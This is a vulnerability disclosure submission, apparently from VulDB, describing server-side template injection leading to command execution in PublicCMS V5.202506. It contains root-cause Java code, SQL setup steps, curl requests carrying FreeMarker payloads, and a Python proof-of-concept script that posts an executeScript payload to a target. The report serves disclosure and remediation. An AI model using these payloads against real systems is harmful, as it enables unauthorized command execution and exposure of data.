Submit #841298: GitHub PublicCMS V5.202506 Server-Side Template Injectioninfo

TitleGitHub PublicCMS V5.202506 Server-Side Template Injection
Description# CVE Vulnerability Report: PublicCMS V5.202506 --- ## CVE-2026-XXXX: Server-Side Template Injection (SSTI) Leading to Remote Code Execution via TemplateResultDirective ### Summary PublicCMS V5.202506 contains a Server-Side Template Injection (SSTI) vulnerability in the `TemplateResultDirective` component. An attacker with a valid API token can inject arbitrary FreeMarker template expressions that are executed with the full web configuration context, potentially leading to Remote Code Execution (RCE) through nested directive calls. ### Affected Product | Field | Value | | -------------------- | ---------------------------------------------- | | **Product** | PublicCMS | | **Vendor** | Sanluan (SanLian) | | **Affected Version** | V5.202506 (and earlier versions) | | **Fixed Version** | Not yet patched | | **CVSS 3.1 Score** | 8.8 (High) | | **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` | ### Vulnerability Type - **CWE-94**: Improper Control of Generation of Code ('Code Injection') - **CWE-1336**: Improper Neutralization of Special Elements Used in a Template Engine --- ### Description The `TemplateResultDirective` class in PublicCMS accepts user-controlled `templateContent` parameter and renders it using the application's full FreeMarker `Configuration` object. Unlike the `GetTemplateResultMethod` which uses a sandboxed configuration with `ALLOWS_NOTHING_RESOLVER`, the directive uses `templateComponent.getWebConfiguration()` which provides unrestricted access to all registered directives, methods, and object builders. This allows an attacker to: 1. Execute arbitrary FreeMarker expressions 2. Call internal directives including `executeScript` which can execute system commands 3. Access sensitive data through exposed model variables ### Root Cause Analysis ```java // File: publiccms-core/src/main/java/com/publiccms/views/directive/tools/TemplateResultDirective.java @Component public class TemplateResultDirective extends AbstractTemplateDirective { @Override public void execute(RenderHandler handler) throws IOException, TemplateException { String content = handler.getString("templateContent"); if (CommonUtils.notEmpty(content)) { try { // VULNERABILITY: Wraps user input but uses FULL Configuration content = "<#attempt>" + content + "<#recover>${.error!}</#attempt>"; Map<String, Object> model = new HashMap<>(); Map<String, String> parameters = handler.getMap("parameters"); if (!parameters.isEmpty()) { model.putAll(parameters); } // Uses unrestricted webConfiguration instead of sandboxed config handler.print(FreeMarkerUtils.generateStringByString( content, templateComponent.getWebConfiguration(), // ← FULL ACCESS model )); } catch (IOException | TemplateException e) { handler.print(e.getMessage()); } } } } ``` **Contrast with safe implementation:** ```java // File: publiccms-core/src/main/java/com/publiccms/views/method/tools/GetTemplateResultMethod.java // This method uses SANDBOXED configuration - safe implementation Configuration configuration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS); configuration.setTemplateLoader(new StringTemplateLoader()); configuration.setObjectWrapper(new DefaultObjectWrapperBuilder(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS) .build()); configuration.setAPIBuiltinEnabled(false); // ALLOWS_NOTHING_RESOLVER prevents access to Java objects configuration.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER); ``` --- ### Prerequisites for Exploitation 1. **Valid API Token**: The attacker needs a valid `appToken` associated with an `sys_app` entry 2. **API Authorization**: The app must have `templateResult` in its `authorized_apis` field 3. **Network Access**: Access to the application's API endpoint **Note**: An attacker can obtain an appToken through: - Compromised credentials with app management access - SQL injection in other components - Social engineering of administrators --- ### Reproduction Steps #### Step 1: Create Test App and Token (for verification) ```sql -- Connect to MySQL database mysql -u root -p publiccms -- Create test application with required permissions INSERT INTO sys_app (site_id, channel, app_key, app_secret, authorized_apis, expiry_minutes) VALUES (1, 'test', 'testkey', 'testsecret', 'templateResult,executeScript', 10080); -- Get the app ID SELECT id FROM sys_app WHERE app_key='testkey'; -- Create API token (replace APP_ID with actual ID) INSERT INTO sys_app_token (auth_token, app_id, create_date, expiry_date) VALUES ('testtoken123', APP_ID, NOW(), DATE_ADD(NOW(), INTERVAL 7 DAY)); ``` #### Step 2: Verify SSTI - Expression Evaluation ```bash curl -X POST 'http://TARGET:8080/api/directive/tools/templateResult?currentSiteId=1' \ -H 'appToken: testtoken123' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "templateContent=\${7*7}" ``` **Expected Response:** ``` 49 ``` **Verification**: The expression `${7*7}` is evaluated to `49`, confirming template injection. #### Step 3: Verify Information Disclosure ```bash curl -X POST 'http://TARGET:8080/api/directive/tools/templateResult?currentSiteId=1' \ -H 'appToken: testtoken123' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "templateContent=\${.now?string('yyyy-MM-dd HH:mm:ss')}" ``` **Expected Response:** ``` 2026-05-28 15:30:45 ``` #### Step 4: RCE via Nested Directive Call ```bash curl -X POST 'http://TARGET:8080/api/directive/tools/templateResult?currentSiteId=1' \ -H 'appToken: testtoken123' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "templateContent=<@tools.executeScript command='backupdb.sh' parameters=['param1'/>" ``` **Note**: The `executeScript` directive accepts commands from a whitelist: `sync.bat`, `sync.sh`, `backupdb.bat`, `backupdb.sh` --- ### Impact | Impact Type | Description | | ------------------- | ------------------------------------------------------------ | | **Confidentiality** | High - Can read sensitive data through template expressions and system commands | | **Integrity** | High - Can modify files and data through command execution | | **Availability** | High - Can execute system commands that may disrupt service | **Worst Case Scenario**: Full system compromise through: 1. Template injection to call `executeScript` 2. Execute `backupdb.sh` which runs with database credentials 3. Database credentials passed as command-line arguments (visible in `/proc/*/cmdline`) 4. Potential command injection if parameters are not properly sanitized --- ### Proof of Concept Script ```python #!/usr/bin/env python3 """ PublicCMS SSTI → RCE PoC CVE-2026-XXXX """ import requests import argparse def exploit(target, app_token, site_id=1): """Exploit SSTI vulnerability""" url = f"{target}/api/directive/tools/templateResult" params = {"currentSiteId": site_id} headers = {"appToken": app_token} # Test payload - command execution via nested directive payload = "<@tools.executeScript command='backupdb.sh' parameters=['test'/>" print(f"[*] Target: {target}") print(f"[*] AppToken: {app_token}") print(f"[*] Sending payload...") try: resp = requests.post( url, params=params, headers=headers, data={"templateContent": payload}, timeout=30 ) print(f"[+] Status Code: {resp.status_code}") print(f"[+] Response: {resp.text}") # Check for successful exploitation if "error" not in resp.text.lower() or resp.status_code == 200: print("[+] Potential exploitation successful") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="PublicCMS SSTI RCE PoC") parser.add_argument("-t", "--target", required=True, help="Target URL") parser.add_argument("-a", "--app-token", required=True, help="Valid appToken") parser.add_argument("-s", "--site-id", type=int, default=1, help="Site ID") args = parser.parse_args() exploit(args.target, args.app_token, args.site_id) ``` --- ### Remediation #### Immediate Mitigation 1. **Remove or Restrict API Access**: ```sql -- Disable the templateResult API by removing it from authorized APIs
Source⚠️ https://github.com/sanluan/PublicCMS
User
 mingyeqf (UID 84946)
Submission05/28/2026 17:31 (1 month ago)
Moderation06/28/2026 11:18 (1 month later)
StatusDuplicate
VulDB entry364328 [Sanluan PublicCMS 5.202506.d templateResult API TemplateResultDirective.java execute templateContent special elements used in a template engine]
Points0

Want to stay up to date on a daily basis?

Enable the mail alert feature now!